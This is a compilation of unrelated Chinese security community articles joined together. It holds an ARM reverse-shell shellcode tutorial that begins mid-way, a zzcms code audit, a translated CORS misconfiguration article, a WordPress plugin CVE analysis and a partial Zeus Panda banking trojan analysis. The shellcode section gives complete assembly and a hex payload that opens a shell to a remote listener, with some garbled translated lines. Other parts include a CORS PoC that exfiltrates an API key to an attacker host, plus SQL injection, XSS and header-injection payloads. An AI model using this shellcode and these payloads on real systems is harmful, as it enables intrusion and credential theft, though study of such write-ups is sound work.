用第一条指令，我们将存储在文字池中的结构对象（包含地址族，主机端口和主机地址）的地址放入R0。文字池是存储常量，字符串或偏移量的同一部分中的内存区域（因为文字池是代码的一部分）。你可以使用带标签的ADR指令，而不是手动计算pc相对偏移量。ADR接受PC相对表达式，即带有可选偏移量的标签，其中标签的地址相对于PC标签。像这样：
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to struct
[...]
struct:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port number 4444
.byte 192,168,139,130 // IP Address
在第一条指令中，我们将R1指向存储区域，在该区域中存储地址族AF_INET，我们要使用的本地端口和IP地址的值。STRB指令用x00替换 x02
xff中的占位符xff，将AF_INET设置为 x02 x00。
STRB指令将一个字节从寄存器存储到计算的存储区域。语法[r1，＃1]表示我们将R1作为基址，将即时值（＃1）作为偏移量。我们怎么知道它是一个空字节存储？因为r2仅由于清除寄存器的“sub
r2，r2，r2”指令而包含0。
move指令将sockaddr结构的长度（AF_INET为2个字节，PORT为2个字节，ipaddress为4个字节，8个字节填充=
16个字节）放入r2。然后，我们将r7设置为283，只需向其中添加2，因为r7已经包含了上一次系统调用的281。
### 3 – STDIN，STDOUT，STDERR
对于dup2函数，我们需要系统调用号63。需要再次将保存的sockid移入r0，并将子指令集r1设置为0。对于剩余的两个dup2调用，我们只需要在每次系统调用后将r1和r0重置为sockid。
/ * dup2（sockid，0）* /
mov r7，＃63 // r7 = 63（dup2系统调用号）
mov r0，r4 // r4是保存的client_sockid
子r1，r1 // r1 = 0（stdin）
svc＃ 1
/ * dup2（sockid，1）* /
mov r0，r4 // r4是保存的client_sockid
add r1，＃1 // r1 = 1（stdout）
svc＃1
/ * dup2（sockid，2）* /
mov r0，r4 // r4是保存的client_sockid
add r1，＃1 // r1 = 1 + 1（stderr）
svc＃1
### 4 – 生成Shell
// execve("/bin/sh", 0, 0)
adr r0, binsh // r0 = location of "/bin/shX"
sub r1, r1 // clear register r1. R1 = 0
sub r2, r2 // clear register r2. R2 = 0
strb r2, [r0, #7] // replace X with 0 in /bin/shX
mov r7, #11 // execve syscall number
svc #1
nop // nop needed for alignment
我们在这个例子中使用的execve（）函数遵循与[编写ARM Shellcode](https://azeria-labs.com/writing-arm-shellcode/)教程相同的过程，其中所有内容都是逐步解释的。
最后，我们将值AF_INET（带有0xff，将被替换为null），端口号，IP地址和“/ bin /
shX”（带有X，将被null替换）字符串放在我们的汇编代码的末尾。
struct_addr：
.ascii“ x02 xff”// AF_INET 0xff将为NULL
.ascii“ x11 x5c”//端口号4444
.byte 192,168,139,130 // IP地址
binsh：
.ascii“/ bin / shX”
## 最终汇编代码
这是我们的最终bind shellcode。
.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // switch to thumb mode
bx r3
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket)
svc #1 // r0 = resultant sockfd
mov r4, r0 // save sockfd in r4
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to address, port
strb r2, [r1, #1] // write 0 for AF_INET
mov r2, #16
add r7, #2 // r7 = 283 (connect)
svc #1
// dup2(sockfd, 0)
mov r7, #63 // r7 = 63 (dup2)
mov r0, r4 // r4 is the saved sockfd
sub r1, r1 // r1 = 0 (stdin)
svc #1
// dup2(sockfd, 1)
mov r0, r4 // r4 is the saved sockfd
mov r1, #1 // r1 = 1 (stdout)
svc #1
// dup2(sockfd, 2)
mov r0, r4 // r4 is the saved sockfd
mov r1, #2 // r1 = 2 (stderr)
svc #1
// execve("/bin/sh", 0, 0)
adr r0, binsh
sub r2, r2
sub r1, r1
strb r2, [r0, #7]
mov r7, #11 // r7 = 11 (execve)
svc #1
struct:
.ascii "x02xff" // AF_INET 0xff will be NULLed
.ascii "x11x5c" // port number 4444
.byte 192,168,139,130 // IP Address
binsh:
.ascii "/bin/shX"
## 测试SHELLCODE
将汇编代码保存到名为reverse_shell.s的文件中。使用ld时不要忘记-N标志。这样做的原因是我们使用多个strb操作来修改我们的代码段（.text）。这要求代码段是可写的，并且可以通过在链接过程中添加-N标志来实现。
pi@raspberrypi:~/reverseshell $ as reverse_shell.s -o reverse_shell.o && ld -N reverse_shell.o -o reverse_shell
pi@raspberrypi:~/reverseshell $ ./reverse_shell
然后，连接到指定的端口：
user@ubuntu:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.139.130] port 4444 [tcp/*] accepted (family 2, sport 38020)
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
奏效了。现在让我们用下面的命令把它转换成十六进制字符串：
pi@raspberrypi:~/reverseshell $ objcopy -O binary reverse_shell reverse_shell.bin
pi@raspberrypi:~/reverseshell $ hexdump -v -e '"\""x" 1/1 "%02x" ""' reverse_shell.bin
x01x30x8fxe2x13xffx2fxe1x02x20x01x21x92x1axc8x27x51x37x01xdfx04x1cx0axa1x4ax70x10x22x02x37x01xdfx3fx27x20x1cx49x1ax01xdfx20x1cx01x21x01xdfx20x1cx02x21x01xdfx04xa0x52x40x49x40xc2x71x0bx27x01xdfx02xffx11x5cxc0xa8x8bx82x2fx62x69x6ex2fx73x68x58
这就是反向shellcode，这个shellcode长80个字节。由于这是一个初学者教程并且为了保持简单，shellcode并不尽可能短。在初始shellcode工作之后，你可以尝试找到减少指令数量的方法，从而缩短shellcode。
我希望你学到了一些东西，可以运用这些知识来编写你自己的shellcode变种。请随时与我联系以获得反馈或建议。 | 社区文章 |
听说这个比较好入门就下载下来练习代码审计了
### 一、任意文件删除
#### /admin/dl_data.php
可以看到对filename参数没有任何的过滤
### 二、 sql注入
在 /inc/stopsqlin.php下，
可以看到对 get、 post 和cookie中的接收的内容都在zc_check函数进行过滤
主要使用了addslashes函数 ，也就是说 会对单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符） 进行转义
那么想找sql注入的话常见的有以下几种思路：
1.SQL语句中传参无单引号闭合
2.字符串编码绕过
这个问题主要利用一些编码对转义的特殊字符进行编码，第一种情况是当数据库编码格式设置为GBK时，可以实现宽字节注入，第二种情况是使用了iconv()或mb_convert_encoding()进行编码绕过
3.Sprintf()格式化字符串函数漏洞
4.超全局变量$_SERVER
比如 $_SERVER['PHP_SELF'] $_SERVER['HTTP_HOST']
#### 1\. $_SERVER [‘HTTP_HOST’]
在第五行可以看到 $_SERVER [‘HTTP_HOST’] 没有进行过滤就直接拼接了，查找包含调用 zt/top.php文件的来进行利用
比如利用 <http://127.0.0.1/zt/companyshow.php>
#### 2\. user\adv2.php
第67行，很明显看到这边对post方法传进的id没有进行过滤
首先注册用户要企业用户，用户要通过审核后才能发布招商信息
$_REQUEST 调用接受action的动作
当action为modify的时候
调用 check_user_power函数，传参set_text_adv
跟进 check_user_power
将传进的值set_text_dev与查询出的config的内容用函数str_is_inarr对比，返回no
因为积分模块默认开启，向setAdv函数传值1
接下来要让 $a+$b==0不成立
因为zzcms_main里面存的是对应用户的招商信息，我们只要发布一条招商信息就可以让$a=1,然后设置广告语后就可以进行构造语句注入了
#### 3\. ajax/zs.php
第十行这边从从cookie中获取pxzs的内容，然后直接没有引号闭合就在第45行进行拼接，导致sql语句可控，利用sqlmap来进行注入
#### 4\. zs/subzs.php
在showcookiezs函数中，第十六行sql语句将cookie中接收的zzcmscpid没闭合直接拼接
查找调用showcookiezs的函数，在fix函数中被调用，而且要当标签为cookiezs的时候才能执行，继续查找调用fix的函数
发现在label.php的第十二行的showlabel函数中调用
也就是要查找调用showlabel函数，而且传进去的$str 带有标签 cookiezs 的
查找发现有2个符合，分别是 zs/search.php 和 zs/zs_list.php
zs/search.php
$fp="../template/".$siteskin."/zs_search.htm";
$f = fopen($fp,'r');
$strout = fread($f,filesize($fp));
...
$strout=showlabel($strout);
echo $strout;
zs_list.php
$fp="../template/".$siteskin."/".$skin;
$f = fopen($fp,'r');
$strout = fread($f,filesize($fp));
...
$strout=showlabel($strout);
echo $strout;
### 三、XSS
#### user/ask.php
传入action为modify的话会执行 modify函数 ，跟进 modify函数
目标是触发218行的markit函数，可知，当传入id不为0的时候，并且根据你要修改的id从
zzcms_ask表里面查询出来的编辑者不是当前用户的话，那么就会触发 markit
跟进 markit 函数，发现使用$_SERVER[‘HTTP_HOST’]来进行拼接，直接在host头部构造xss语句
因为还有$_SERVER[‘REQUEST_URI’]，也可以在请求的url中构造，但是要注意在inc/stopsqlin.php中有过滤
if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){
die ("无效参数");//注意这里不能用js提示
} | 社区文章 |
原文地址：<https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties?tdsourcetag=s_pcqq_aiomsg>
在本文中，我将展示如何识别和利用配置错误的CORS。本文内容摘自AppSec
USA大会上的演讲内容，并做了相应的提炼。如果您的时间比较充裕(或阅读本文时遇到了难以理解的内容)的话，我强烈建议您查看相关的[幻灯片](https://portswigger.net/knowledgebase/papers/itingcorsmisconfigurations.pdf)并观看[相关视频](https://www.youtube.com/watch?v=wgkj4ZgxI4c&list=PLpr-xdpM8wG8RHOguwOZhUHkKiDeWpvFp&index=31)。
#### What is CORS? (Cross Origin Resource Sharing)
跨域资源共享([CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS))是这样一种技术，网站可以通过它来降低浏览器的同源策略的严格程度，从而实现不同网站之间的跨域通信。过去，该技术经常被Web
API使用，但在现代复杂的网站中，也经常看到它的身影。众所周知，某些CORS配置一旦失误，是带来严重的后果；与此同时，与该配置相关的许多细节及其具体含义很容易被误解。在这篇文章中，我将为读者介绍黑客如何考察CORS的配置失误，并利用这些失误来窃取比特币的。
#### CORS for hackers
我们知道，网站可以通过发送如下所示的HTTP响应头部来启用CORS机制：
Access-Control-Allow-Origin: https://example.com
这实际上就是允许上面指定的源（域）通过用户的浏览器中向其他服务器发送跨域请求并读取响应——而正常情况下，[同源策略](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)会阻止这些请求。默认情况下，发送这些请求时是不会携带用户的cookie或其他凭证的，因此，攻击者无法窃取用户的敏感信息（如CSRF令牌）。不过，服务器也可以使用如下所示的头部来启用凭证传输机制：
Access-Control-Allow-Credentials: true
这就建立了信任关系——因此，如果example.com存在XSS漏洞，那么漏洞的影响将会扩散。
#### Hidden in plain sight
如上所示，在信任单个源的情况下，还是很容易指定的。然而，如果我们需要信任多个源的话，那该怎么办呢？按照相关规范的建议，我们只需将其放人一个以空格分隔的列表中即可，例如：
Access-Control-Allow-Origin: http://foo.com http://bar.net
然而，没有浏览器真正支持这种做法。
有时候，我们想要利用通配符来指定信任的所有子域，例如：
Access-Control-Allow-Origin: *.portswigger.net
但这也行不通。因为这里要么给出一个完整的域名，要么只给出单个通配符`*`——表示允许任意域名。
实际上，CORS自身也提供了一个隐藏的安全措施。如果您想完全禁用SOP并将自己的网站"暴露"给所有人，可以使用下面的头部组合：
Access-Control-Allow-Origin: *\
Access-Control-Allow-Credentials: true
这样的话，我们就会在浏览器控制台中收到以下错误消息：
> Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is
> true.（即当凭据标志为true时，在Access-Control-Allow-Origin中不能使用通配符。）
实际上，相关规范中提到了这个异常，并且[Mozilla的文档支持](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS#Requests_with_credentials)也有所述及：
> 在响应凭证请求时，服务器必须指定域，并且不能使用通配符
换句话说，使用通配符可以有效地禁用Allow-Credentials头部。
由于这些限制，许多服务器以编程方式根据用户提供的Origin值来生成`Access-Control-Allow-Origin`头部。这是最常见的一种CORS漏洞。当我们发现HTTP响应带有任何`Access-Control-*`头部却未声明域的时候，这就表明服务器将根据我们的输入来生成头部。其他服务器只有在收到包含Origin头部的请求时才会发送CORS头部，这使得相关的漏洞非常容易被遗漏。
#### Credentials and bitcoins
因此，许多网站都是从用户输入中获得允许跨域访问的域名的。那么，这会不会导致安全隐患呢？于是，我决定评估一些漏洞赏金网站并从中寻找答案。请注意，虽然这些网站都提供了漏洞赏金计划，但是，前面提到的漏洞还是被许多赏金猎人所遗漏了。我很快就复现了
[Evan Johnson's finding](http://ejj.io/misconfigured-cors/)
的发现，即许多应用程序在做出响应之前，并没有对源进行检查，同时，我还找到了一个易受攻击的比特币交易所（遗憾的是，该交易所不愿意公开其名称）：
GET /api/requestApiKey HTTP/1.1\
Host: <redacted>\
Origin: https://fiddle.jshell.net\
Cookie: sessionid=...
HTTP/1.1 200 OK\
Access-Control-Allow-Origin: https://fiddle.jshell.net\
Access-Control-Allow-Credentials: true
{"[private API key]"}
与此同时，我还建立了一POC代码，用于证明窃取用户的私有API密钥是一件多么轻而易举的事情：
var req = new XMLHttpRequest();\
req.onload = reqListener;\
req.open('get','https://btc-exchange/api/requestApiKey',true);\
req.withCredentials = true;\
req.send();
function reqListener() {\
location='//atttacker.net/log?key='+this.responseText;\
};
在获取用户的API密钥后，我就可以禁用帐户的通知功能，并启用2FA以将其锁定，这样就可以将其比特币转移到任意地址。由此看来，头部配置错误是一种非常严重的安全漏洞。当然，我还是克制住了将比特币收入囊中并跑路的冲动，并向该交易所提交了该漏洞，之后，他们仅用了20分钟就修复了该漏洞。
此外，对于某些网站来说，当对源进行验证以确定是否应该信任它时，常常会遇到经典的URL解析错误。例如，有一个网站（不妨称之为advisor.com）完全信任以`advisor.com`结尾的所有域名，包括`definitelynotadvisor.com`。更糟糕的是，第二个比特币交易所（我们称之为btc.net）信任所有以`https://btc.net`开头的域名，包括`https://btc.net.evil.net`。不幸的是，我还没有来得及构建POC，这个网站就突然关闭了，至于具体原因，我也不清楚。
#### The null origin
如果您对上面的内容非常关心的话，很可能想知道什么情况下[`Origin`的值为`null`](https://www.w3.org/TR/cors/#access-control-allow-origin-response-header)。按照相关规范的说法，重定向会触发这种情况，此外，根据stackoverflow上的某些帖子来看，本地HTML文件也可能导致这种情况。也许是由于这种情况与本地文件有关，我发现有许多的网站都将其列入了白名单，其中包括Google的PDF阅读器：
GET /reader?url=zxcvbn.pdf\
Host: docs.google.com\
Origin: null
HTTP/1.1 200 OK\
Acess-Control-Allow-Origin: null\
Access-Control-Allow-Credentials: true
此外，该问题还涉及第三方比特币交易所。这对攻击者来说再好不过了，因为任何网站都可以通过沙箱化的`iframe`来轻松获得值为`null`的Obtain头部:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></iframe>
借助于一系列的CORS请求，攻击者就可以窃取用户钱包的加密备份，然后立即展开离线蛮力破解，就能得到该钱包的密码了。如果用户的密码强度不高的话，他们的比特币就会轻而易举地被攻击者收入囊中。
更加要命的是，这种特殊的错误配置非常常见——只要你肯找，就肯定能找到。实际上，只要选用`null`关键字，这就注定要出问题的，因为在某些应用程序中，如果没有配置源白名单的话，就会导致……
Access-Control-Allow-Origin: null
这……
#### Breaking parsers
我们知道，大多数网站都是通过基本的字符串操作来验证Origin头部的，但有些网站却会将其解析为URL。这项研究最初发布三年后，[Bitwis3](https://twitter.com/fasthm00)发表了一种攻击解析器漏洞的技术，该技术利用了Safari对域名中非常规字符（unusual
characters）的容忍度。对于Safari来说，这面是一个有效的URL：
http://example.com%60.hackxor.net/static/cors.html
并且，发自该URL的CORS请求将包含：
Origin: http://example.com`.hackxor.net/
如果一个站点选择解析这个头部，它可能会认为这个主机名是`example.com`并反射它，这样的话，我们就能够攻击Safari用户——即使该站点使用的是受信任主机名的白名单。在收到Bitwis3提供的[tipoff](https://twitter.com/fasthm00/status/1168844190702161920)之后，我亲自在野外试用了这种技术，事实证明它是非常有效的。
#### Breaking HTTPS
在这项研究中，我还发现了另外两个流行的白名单在实现方面存在的漏洞，并且这些漏洞通常都是伴生的。其中，第一个漏洞是轻率地将所有子域都列入白名单所致——甚至包括根本就不存在的子域。许多公司的子域名都会指向由第三方托管的应用程序，而这些应用程序的安全性一般都很令人担忧。如果天真地认为这些程序中没有XSS漏洞，并且将来也不会有的话，那么，这就只能怪自己太幼稚了。
第二个常见漏洞是无法限制源协议。如果一个网站是通过HTTPS访问的，同时还乐于接受来自`http://wherever`的CORS交互的话，那么攻击者一旦发起主动中间人（MITM）攻击，那么就可以完全绕过该站点的HTTPS。并且，HTTP
Strict Transport
Security功能和cookie的`secure`属性在防止这种攻击方面的作用几乎可以忽略不计。对于这种攻击的具体过程，请参阅我的演讲文稿。
#### Abusing CORS without credentials
我们已经看到，启用凭证后，CORS将变得非常危险。如果没有凭证，许多攻击将无计可施；这意味着，无法使用用户的cookie，这样的话，让用户的浏览器发送请求，与自己发送请求一样，根本无法获得更多的优势。即使是令牌固定攻击也是行不通的，因为浏览器会忽略对cookie进行的任何重设。
一个值得注意的例外是，当受害者的网络位置作为一种身份验证的时候。这种情况下，您可以使用受害者的浏览器作为代理来绕过基于IP的身份验证，进而得以访问Intranet应用程序。就危害程度来说，这种漏洞与DNS重新绑定类似，但要攻击过程要更加费劲一些。
#### Vary: origin
如果您仔细阅读CORS规范中的“实现方面的注意事项”部分就会发现，它要求开发人员在动态生成`Access-Control-Allow-Origin`头部时，同时指定HTTP头部`Vary: Origin`。
这听起来可能很简单，但是很多人都忘了下面这句涉及W3C自身的[名言](https://lists.w3.org/Archives/Public/public-webappsec/2016Jun/0057.html)：
> 我必须说，即使W3C都没能正确配置其服务器，所以，我很难相信会有更多网站迅速支持CORS。
>
> * Reto Gmür
>
如果我们忽视这个忠告，结果会怎样呢？大多数情况下，人们就是这样做的。然而，在适当的情况下，它可能导致一些相当严重的攻击。
#### Client-Side cache poisoning
有时候，我们会遇到含有反射型XSS漏洞的页面，并且该漏洞位于自定义HTTP头部中。假设该网页并没有对响应该自定义头部的内容进行编码：
GET / HTTP/1.1\
Host: example.com\
X-User-id: <svg/onload=alert(1)>
HTTP/1.1 200 OK\
Access-Control-Allow-Origin: *\
Access-Control-Allow-Headers: X-User-id\
Content-Type: text/html\
...\
Invalid user: <svg/onload=alert(1)>
如果不借助CORS的话，该漏洞是无法利用的，因为没有办法让某人的浏览器跨域发送`X-User-id`头部。使用CORS后，我们就可以让他们发送这种请求。当然，就其本身来说，这是无用的，因为包含我们注入的JavaScript代码的响应是不会被呈现的。但是，如果未指定`Vary：Origin`的话，那么，该响应可以存储到浏览器的缓存中，并在浏览器导航到相关的URL时立即显示。我已经创建了一个fiddle，用来演示[针对您选择的URL进行攻击](https://jsfiddle.net/3gk8u8wu/3/)。由于这种攻击使用了客户端缓存，因此，它非常可靠。
#### Server-side cache poisoning
当万事俱备的时候，我们就能通过HTTP头部注入技术，利用服务器端缓存中毒来创建存储型XSS漏洞了。
如果应用程序会响应`Origin`头部，并且不检查它是否为`\r`之类的非法字符的话，那么，我们实际上就获得了一个针对IE/Edge浏览器用户的HTTP头部注入漏洞，因为Internet
Explorer和Edge浏览器会将`\r\n（0x0d）`视为有效的HTTP头部终止符：
GET / HTTP/1.1\
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
Internet Explorer将该响应视为：
`HTTP/1.1 200 OK\
Access-Control-Allow-Origin: z\
Content-Type: text/html; charset=UTF-7
不过，这个漏洞是无法直接利用的，因为攻击者无法让某人的网络浏览器发送这种畸形的头部；然而，我们可以利用Burp
Suite手动构造这种请求，然后，服务器端缓存很可能会保存相应的响应，并将其提供给其他人。我们使用的payload会将页面的字符集改为`UTF-7`，这一招对构造XSS漏洞来说非常有用。
#### Good intentions and bad results
最初，我并没想到动态生成`Access-Control-Allow-Origin`头部的网站的数量是如此之多。之所以出现这种情况，可能是CORS的两个主要限制所致——既不允许在单个头部中指定多个域，也不允许使用通配符指定子域。这使得许多开发人员别无选择，只能动态生成相应的头部，这样一来，就不得不面对以上讨论的各种实现方面容易出现的漏洞了。在我看来，如果规范得作者和浏览器允许使用源列表和部分通配符的话，动态头部生成和相关漏洞的数量将会直线下降。
浏览器的另一个可改进的地方在于，不妨将通配符+凭证异常应用于域为`null`的情形。目前，使用`null`的域的危险性要远甚于使用通配符的域，尽管很多人会对此感到非常惊讶，但是事实的确如此。
其他浏览器也可以尝试阻止我发明的“反向混合内容”攻击——HTTP站点使用CORS从HTTPS站点窃取数据。不过，我还不是很清楚这会造成什么样的后果。
简单性和安全性原本是可以相辅相成的，但是，由于浏览器不支持声明多个域，从而将复杂性直接转移到了开发人员那里，从而带来了严重的恶果。我认为，这主要归咎于规范的设计以及实现的难度方面。
#### Conclusion
CORS是一种功能强大技术，使用时需要格外谨慎，因为，危险的攻击方法并不总是需要精湛的技能和错综复杂的攻击链——通常情况下，只需要对规范有基本的了解和一点点的专注就足够了。如果您想图省劲的话，这里告诉您一个好消息，目前Burp
Suite的扫描器已经能够识别并报告文中讨论的所有缺陷了。 | 社区文章 |
## 背景
根据插件官网的介绍，IMPress for IDX Broker插件可以在网站上展示MLS数据，并与其品牌完美匹配。
该插件存在订阅者权限即可利用的存储XSS漏洞（CVE-2020-11512）及越权对任意包装页面的修改及删除（CVE-2020-9514）
插件下载处：<https://wordpress.org/plugins/idx-broker-platinum/>
漏洞存在版本<=2.6.1
## 漏洞详情
### CVE-2020-11512分析
首先看到在插件的目录plugins\idx-broker-platinum\idx\initiate-plugin.php文件下的277行的idx_update_recaptcha_key函数中接收了POST参数idx_recaptcha_site_key数据，在279行被update_option函数调用
下面我们看下update_option函数对该数据的操作，该函数是对wordpress中的options参数的进行更新数据，我们看到上面对options的传入参数为idx_recaptcha_site_key，即更新该参数的值
在390行我们看到执行了update参数，更新了数据库中的数据
我们在update_option函数中调用了wp_protect_special_option对option参数名进行html过滤，却没有对value进行过滤，引发了xss漏洞
下面我们看下函数idx_update_recaptcha_key的调用位置，在initiate-plugin.php文件下的34行hook在wp_ajax_idx_update_recaptcha_key tag上，
我們在admin-ajax.php页面中159行中获取到action参数，使用is_user_logged_in判断了用户权限后，直接将action参数拼接到do_action函数中进行执行，而is_user_logged_in只是判断用户是否存在，没有进行权限判断。
### CVE-2020-11512利用
通过user1用户（订阅者权限）发送数据包：
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=user1%7C1591004988%7CPrKGAmfSsNxfsQ9QAGID3aK8sMmvLnJtimfdGugoqCN%7C2850d94c57420c45398bd86aa49445eb60914036c0482cd3ebc755de5a8b1239; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=user1%7C1591004988%7CPrKGAmfSsNxfsQ9QAGID3aK8sMmvLnJtimfdGugoqCN%7Cc1e4006d123d6f33199624e0a514319b21b93859faa5af2a60fc0ceda066fb73; wp-settings-time-2=1590832197
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
action=idx_update_recaptcha_key&idx_recaptcha_site_key=a22212322123"><svg onload=alert(/~xss~/)>'
此时管理员对该插件进行设置操作：
### CVE-2020-9514漏洞分析
从\wp-content\plugins\idx-broker-platinum\idx\wrappers.php文件中idx_ajax_create_dynamic_page函数中202行看到函数通过post_title参数中获取到了title数据，211行获取到了wrapper_page_id参数，在214和215行更新了数据库，并在218行针对给定的id进行更新元字段。
继续看236行的idx_ajax_delete_dynamic_page函数，接收到post参数wrapper_page_id，然后进行删除该数据操作
我们找一下这两个函数的调用位置：
好了，可以看到这两个函数全部挂钩在wp_ajax开头的钩子上，利用上面的越权操作即可操作
### CVE-2020-9514漏洞利用
首先添加一个Wrapper页面
下面使用user1用户进行create操作：
首先在页面中获取上面创建的id值：6
操作如下：
发现该页面数据已改变，并且由user1修改
同样执行删除操作
发现已经无了：
## 防御
通过查看对比补丁信息，新的版本使用current_user_can函数判断当前用户的权限，并验证nonce机制防御CSRF攻击。 | 社区文章 |
# 【技术分享】借助谷歌搜索传播：对宙斯熊猫银行木马新变种的技术分析
##### 译文声明
本文是翻译文章，文章来源：talosintelligence.com
原文地址：<http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**通过搜索引擎结果攻击**
目前，人们都会使用谷歌等搜索引擎，来查找自己不知道的信息。通过搜索，我们能迅速找到所需要的内容。然而，谷歌搜索所返回的链接，并不能保证是一定安全的。正因如此，攻击者借助于搜索引擎优化（SEO），使他们的恶意链接在搜索结果中更多地出现，从而让他们的目标用户群体感染宙斯熊猫银行木马（the
Zeus Panda banking
Trojan）。使特定银行相关关键词的搜索结果发生变动，是一种独特的攻击方式，可以有效地针对特定用户实现攻击，就像是在井里投毒。
攻击者主要对财务相关的关键字进行搜索，确保搜索结果能显示恶意链接，以最大限度地提高其病毒感染的转化率。因为他们确定，受感染的用户将会定期使用各类金融平台，攻击者就可以快速地获取到用户凭据、银行卡信息和信用卡信息等内容。
通过对用于传播这一病毒的基础结构进行分析，我们发现其整体配置和操作过程非常特殊，其不依赖于常见的恶意软件扩散方式。攻击者不会一味沿用已有的技术，而是会定期改进。由此也可以说明，及时更新威胁情报，对于确保组织能随时抵御新的威胁，是至关重要的。
**初始攻击向量**
电子邮件并不是这一病毒最初的传染源。攻击者针对的是特定的搜索关键词集合，这些关键词可能会被潜在目标使用Google等搜索引擎查询到。通过利用存在漏洞的Web服务器，攻击者能确保他们的恶意结果在搜索引擎中得到较高排名，从而增加了潜在受害者点击的可能性。
举例来说，攻击者似乎以下列关键词作为目标：
在大多数情况下，攻击者能够在搜索引擎结果页面（SERP）的首页上显示多条带有病毒的结果，以便将其作为目标。在这个例子中，关键词为“Rajhi银行在斋月的工作时间”，下面是Google搜索返回的内容：
通过对已有评级的商业网站进行攻击，攻击者可以使搜索结果看起来更安全，比如在SERP中的结果中显示5星和100%的评级。
攻击者针对的是大量关键词组合，其中大多数是针对潜在受害者可能搜索的银行或金融相关信息而量身定做的。并且，也会集中对某个地理区域发动攻击，该病毒会以印度和中东的金融机构为主要目标。其他的一些关键字还例如：
此外，所有恶意页面的标题都有附加的短语。使用“intitle:”搜索参数，我们就能够主动识别出数以百计的恶意页面，这些恶意页面会引导用户下载病毒。下面列出了这些附加短语的一些示例：
如果用户试图浏览这些受攻击的服务器上的网页，将会开始多级的恶意软件感染过程，我们接下来将详细分析。
比较讽刺的是，在研究过程中我们还发现，存在相同的重定向系统及相关基础设施，用来指导受感染的用户联系假冒的技术支持。通过显示图像，通知用户系统感染了宙斯病毒，并指导他们联系指定电话号码。
**感染过程分析**
当受害者访问恶意网页时，该网站使用Javascript将客户端重定向到中间站点上托管的Javascript。
这将导致客户端检索和执行位于被document.write()方法所指定地址的Javascript。随后的页面包含类似的功能，是将一个HTTP
GET请求转向到另一个页面。
随后，中间服务器将返回HTTP
302对客户端进行相应，将客户端重定向到另一个被攻击的站点，这个站点实际上是用来保存恶意Word文档的。因此，客户端会通过这次重定向，下载恶意文档。这是一种通常被称为“302缓冲”的技术，在开发工具包中广泛使用。
按照重定向结果，下载恶意Microsoft Word文档。
下载恶意的Word文档后，受害者的浏览器会询问“打开或保存该文件”。如果选择打开文件，打开后文档将显示以下消息，提示受害者“启用编辑模式”并点击“启用内容”。
一旦选择了“启用内容”，就会执行Word文档中嵌入的恶意宏。正是这些宏，负责下载和执行PE32的可执行文件，从而感染了系统。宏代码本身不具有危害性，而且十分简单，它只是负责下载恶意可执行文件，将其保存到系统的%TEMP%目录中，并且使用类似于“obodok.exe”的文件名。
在这个样本中，恶意可执行文件位于以下URL中：
hXXp://settleware[.]com/blog/wp-content/themes/inove/templates/html/krang.wwt
这些宏使用以下 Powershell 命令启动此过程：
根据对病毒所在恶意域名DNS相关信息的查看，我们发现在2017年6月7日至8日期间，试图解析域名的DNS请求数量有两个明显的峰值。
Settleware Secure Services, Inc.是一个文档电子签名服务,
允许以电子方式签署文档。它可以跨多个不同的过程使用，包括不动产代管电子签名，此外也提供eNotary服务。
**木马原理分析**
与该感染模式相关的病毒，是一个新版本的宙斯熊猫银行木马，该木马用于窃取银行及其他敏感凭据。
我们认为，其有效载荷是分为多阶段的。初始阶段的有效载荷，具有反分析技术，可以有效逃避检测。除此之外，它还具有几个规避技术，用于确保恶意软件在自动化分析环境及沙盒中不会正常执行。我们特别关注该木马的伪装手段。
木马将首先查询系统的键盘映射, 以确定系统上使用的语言。如果检测到下列任何键盘映射, 它将终止执行：
**LANG_RUSSIAN**
**LANG_BELARUSIAN**
**LANG_KAZAK**
**LANG_UKRAINIAN**
木马还执行检查，以确定它是否在以下管理程序或沙盒环境中运行：
**VMware**
**VirtualPC**
**VirtualBox**
**Parallels**
**Sandboxie**
**Wine**
**SoftIce**
它还检查了安全人员在分析恶意软件时经常运行的各种工具和实用程序是否存在，其完整列表如下：
如果满足上述的任何一条，该木马首先会将一个自我删除的批处理文件写入%TEMP%目录，并使用Windows命令提示符执行该操作。木马使用RDTSC，基于时间产生用于存储批处理文件的文件名。这个批处理文件负责删除原始样本。一旦完成原始样本的删除工作，它就会从%TEMP%中删除其自身。
